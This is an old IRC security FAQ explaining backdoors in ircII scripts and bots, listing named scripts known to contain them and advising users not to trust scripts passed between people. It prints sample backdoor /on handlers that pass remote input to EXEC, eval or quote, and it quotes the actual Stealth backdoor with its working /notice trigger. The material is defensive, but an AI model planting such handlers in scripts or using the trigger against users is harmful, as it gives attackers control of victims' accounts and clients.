home *** CD-ROM | disk | FTP | other *** search
- Bugs and Backdoors in IRC clients, scripts and bots
-
- ---------------------------------------------------
-
-
-
-
-
- 1. What is a backdoor?
-
- ----------------------
-
-
-
- A backdoor is a feature of a program that can be used to make it act in
-
- some way that the person who is running it did not intend.
-
-
-
- Among IRC-related programs, bots, clients and scripts can have
-
- backdoors.
-
-
-
- An important point to note is that some backdoors are intentional and
-
- some are not; with ircII scripts specifically, the problem is that
-
- ircII is not a very clear programming language when it comes to
-
- evaluation, and neither is sh/csh (used in all the /EXECs), and it's
-
- easy for someone who doesn't really understand what he's doing to put
-
- unwanted backdoors. In clients and bots, which are usually written in
-
- C, the bugs or backdoors tend to be harder to find and exploit.
-
-
-
- The line between an unintended backdoor and a bug is rather thin, I'd
-
- call it a backdoor if it can be used to make the bot do somethign
-
- specific, and just a bug if it can be used only to make the client or
-
- bot disconnect (ping timeout, or excess flood).
-
-
-
-
-
- 2. How dangerous can a backdoor be?
-
- -----------------------------------
-
-
-
- A backdoor can be more or less ``powerful'', according to how much
-
- access to your client's features and/or account it gives to an intruder.
-
-
-
- In the worst cases, a backdoor will let an intruder execute arbitrary
-
- commands on the machine your client or bot is running, allowing full
-
- access to your account. This can in turn allow an intruder to compromise
-
- your whole system's security, by cracking passwords or otherwise. They
-
- can also make you send mail, post to Usenet, etc. I will call this
-
- giving Unix access.
-
-
-
- In other cases, the backdoor will let the intruder control your IRC
-
- client, making it do all IRC-related things like joining channels,
-
- speaking in them, or signing off, or /killing if you're an IRCop. I will
-
- call this giving IRC access.
-
-
-
- And in some cases, the backdoor will only let them do some specific
-
- things. The most common case is when the backdoor only lets an intruder
-
- disconnect you from IRC.
-
-
-
- Typically, unintended backdoors and bugs will either give full Unix and
-
- IRC access, or just let anyone kill the client.
-
-
-
-
-
- 3. What known scripts, clients and bots have backdoors?
-
- -------------------------------------------------------
-
-
-
- Off the top of my head (I've *SEEN* all of these, and some of them I've
-
- found myself) :
-
-
-
- * iNFiNiTY, toolZ, UltBox (and probably other related scripts) have a
-
- backdoor (very likely unintended) that gives full Unix access to
-
- anyone.
-
-
-
- * early versions of GargOyle have an intended backdoor (supposedly
-
- stolen from some other script) that gives Unix and IRC access to
-
- anyone.
-
-
-
- * some versions of PhoEniX have an unintended backdoor that let people
-
- make you signoff
-
-
-
- * Pillow Fighter II has an intended backdoor that gives Unix and IRC
-
- access to anyone.
-
-
-
- * Stealth has at least 2 intended backdoors, one of which gives
-
- Unix and IRC access to anyone, and the other one that lets people
-
- make you signoff.
-
-
-
- * Some (old) versions of Axis have a backdoor that give on specific
-
- person Unix and IRC access, and another one that makes you give him
-
- ops. Recent versions supposedly don't have it; I haven't checked
-
- them.
-
-
-
- * Some (hacked?) versions of the VeVeS script have an intended
-
- backdoor that gives Unix and IRC access to anyone.
-
-
-
- * IrcOP.irc is a trojan horse script (i.e. it does NOTHING useful for
-
- you) which removes all your files, opens your account to anyone,
-
- and makes you do obnoxious stuff on IRC.
-
-
-
- * Some (hacked?) versions of the ComBot bot have an intended backdoor
-
- that gives IRC access to anyone.
-
-
-
- * eggdrop bots, if improperly configured, can give Unix access to
-
- to anyone with bot-master privileges.
-
-
-
- * All VladBots, ComBot, HackBots, Kn1ghtBots, DweebBots, StelBots and
-
- similar bots can be killed (segmentation fault, bus error, or ping
-
- timeout, according to specific details), with more or less
-
- difficulty (and without flooding them).
-
-
-
- * Some hacked old version of ircII 2.2.9 have a backdoor that gives
-
- anyone Unix and IRC access. This one was the object of a CERT
-
- advisory.
-
-
-
- * Old versions of ircII (prior to 2.3.x-beta) have a bug in the
-
- filtering of escape sequences that lets anyone with ops on a
-
- channel where you are to mess up your screen.
-
-
-
- * Old versions of ircII (prior to 2.6) have a bug in DCC handling
-
- that lets someone make you ping timeout once you have a DCC
-
- connection with them.
-
-
-
- This is by no means a comprehensive list; there are tons of scripts out
-
- there and I don't spend my time skimming them all. In particular I've
-
- never looked closely at TextBox or LiCe, and I know of no-one who has,
-
- so I wouldn't trust them either.
-
-
-
-
-
- 4. How does a backdoor work?
-
- ----------------------------
-
-
-
- In ircII, backdoors are typically /on statements like these:
-
-
-
- #1 - /on ^ctcp "% % BACKDOOR *" $3-
-
- #2 - /on ^notice "% BACKDOOR *" $2-
-
- #3 - /on ^ctcp "% % BACKDOOR *" quote $3-
-
- #4 - /on ^ctcp "% % DCC SEND % *" exec -name stuff ls $5
-
- #5 - /on -notice "% STUFF*" eval ^assign blah $3-
-
-
-
- #1 and #2 are obviously intended, and give anyone IRC and Unix
-
- (by sending EXEC commands) access.
-
-
-
- #3 is obviously intended too, and gives IRC access only.
-
-
-
- #4 looks like an unintended bug, but still gives full Unix access
-
- to anyone (beware, this can be made safe by $strip()ing lots of
-
- characters, but is a potentially dangerous thing to do. Did *you*
-
- know that ^ is interpreted like | by SunOS /bin/sh's?).
-
-
-
- With #5, the problem is the eval, but once again, since ircII lets
-
- you execute the contents of variables without an eval, looking for
-
- all the evals and all the /on's and all the /exec's is *not* a safe
-
- way to be sure a script is backdoor-free.
-
-
-
-
-
- Finally, a real example of a backdoor, for the most skeptical; this
-
- is taken straight out of the Stealth script:
-
-
-
- alias qwrrw {
-
- /echo [^BFate^B] You have been killed
-
- /signoff I'm a dork, and I am sorry for disturbing you all. I'll leave now}
-
-
-
- on ^notice "% 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54" {/qwrrw}
-
-
-
- So if someone is running Stealth, all you have to do is
-
- /notice nickname 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54
-
- and they signoff.
-
-
-
- And I'd like to see anyone arguing that this was not intended...
-
-
-
-
-
- 5. How can I avoid backdoors?
-
- -----------------------------
-
-
-
- It all comes to a simple fact: IRC is full of people who cannot be
-
- trusted, and running (/load'ing) a script (or a bot) that someone sent
-
- you is akin to putting a *lot* of trust in this person, *AND* in all the
-
- people who have had this script between the original author and whoever
-
- sent it to you. You don't only need to trust that the person doesn't
-
- mean to harm you, but also that the person can *check* and make sure
-
- that they aren't going to.
-
-
-
- War scripts like Serpent and Phoenix and TextBox and LiCe are the least
-
- trustable for a number of reasons:
-
-
-
- * Someone who writes a script (or puts his name at the top of a bunch
-
- of stolen routines) that can be disruptive to the net is obviously
-
- not someone who is interested in doing people a favor. Trusting
-
- their code is really the thing not to do.
-
-
-
- * These scripts tend to be *very* big (200k is no uncommon...) and
-
- thus are a pain to check. I have looked at some in enough detail
-
- to find backdoors, but you need to look a *lot* more carefully
-
- to be able to say that there are none left. Definitely not for
-
- the casual user.
-
-
-
- * They are often distributed from one to another, instead of getting
-
- them from some "official" place. This means that any one with a
-
- minimum knowledge of ircII scripting can add 2 lines in the middle
-
- of Phoenix, increase the version number, and send it around.
-
-
-
-
-
- The scripts *I* would personally trust:
-
-
-
- zer0 - I've written it myself, so I know there are no backdoors,
-
- I'm reasonably sure there are no exploitable bugs, and
-
- it's small enough for anyone to check in a reasonable
-
- time.
-
- You can get it from
-
- http://www.eleves.ens.fr:8080/home/espel/index.html.
-
-
-
- Deturbo - Written by DeadelviS.
-
-
-
- SuperPak - Written by TG; get version 3.2, *not* Barron's version
-
- (numbered 5.4).
-
-
-
- All of these can be found in ftp://isr0954.urh.uiuc.edu/pub/irc/scripts
-
-
-
-
-
- ------------------------------------------------------------------------
-
-
-
- You can send any additional comments to:
-
-
-
- orabidoo <roger.espel.llima@ens.fr>
-
-
-
-
-
-